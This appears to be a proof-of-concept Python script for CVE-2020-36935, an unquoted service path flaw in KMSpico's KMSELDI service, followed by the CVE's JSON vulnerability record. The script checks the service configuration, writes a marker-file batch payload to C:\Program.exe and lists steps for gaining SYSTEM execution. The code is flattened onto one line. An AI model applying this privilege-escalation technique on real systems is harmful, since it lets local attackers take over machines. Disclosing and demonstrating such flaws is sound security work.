CVE-2020-36935

# CVE-2020-36935 PoC - KMSpico Unquoted Service Path # Author: Security Researcher # Target: KMSpico 17.1.0.0 Service KMSELDI # This PoC demonstrates the unquoted service path vulnerability import os import sys import subprocess import time def check_vulnerability(): """Check if the system is vulnerable to CVE-2020-36935""" service_name = "KMSELDI" malicious_path = r"C:\Program.exe" # Check if the vulnerable service exists try: result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if result.returncode == 0 and "BINARY_PATH_NAME" in result.stdout: print(f"[+] Service '{service_name}' found") # Check if the path is unquoted if "Program Files" in result.stdout and '"' not in result.stdout: print("[+] VULNERABLE: Service path is unquoted!") print("[+] Malicious executable can be placed at:", malicious_path) return True else: print("[-] Service path appears to be properly quoted") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a simple malicious executable for demonstration""" malicious_path = r"C:\Program.exe" payload = ''' @echo off rem CVE-2020-36935 - Malicious Payload rem This will execute with SYSTEM privileges echo [+] CVE-2020-36935 Payload Executed > C:\\temp\\cve_poc.txt date /t >> C:\\temp\\cve_poc.txt time /t >> C:\\temp\\cve_poc.txt echo [!] Running with elevated privileges >> C:\\temp\\cve_poc.txt ''' try: os.makedirs(r"C:\temp", exist_ok=True) with open(malicious_path, 'w') as f: f.write(payload) print(f"[+] Malicious executable created at: {malicious_path}") print("[!] In real attack, this would be a compiled executable") return True except PermissionError: print("[-] Requires administrator privileges to create malicious executable") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): print("="*60) print("CVE-2020-36935 - KMSpico Unquoted Service Path Checker") print("="*60) if check_vulnerability(): print("\n[*] To exploit this vulnerability:") print(" 1. Place malicious executable at C:\\Program.exe") print(" 2. Wait for service restart or system reboot") print(" 3. Malicious code will execute with SYSTEM privileges") print("\n[*] For demonstration, creating sample payload...") create_malicious_executable() else: print("\n[-] System does not appear to be vulnerable") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2020-36935", "sourceIdentifier": "[email protected]", "published": "2026-01-25T14:15:48.167", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "KMSpico 17.1.0.0 contains an unquoted service path vulnerability in the Service KMSELDI configuration that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted binary path in C:\\Program Files\\KMSpico\\Service_KMS.exe to inject malicious executables and escalate privileges."}, {"lang": "es", "value": "KMSpico 17.1.0.0 contiene una vulnerabilidad de ruta de servicio sin comillas en la configuración del Servicio KMSELDI que permite a atacantes locales ejecutar potencialmente código arbitrario. Los atacantes pueden explotar la ruta binaria sin comillas en C:\\Program Files\\KMSpico\\Service_KMS.exe para inyectar ejecutables maliciosos y escalar privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://official-kmspico.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49003", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/kmspico-service-kmseldi-unquoted-service-path", "source": "[email protected]"}]}}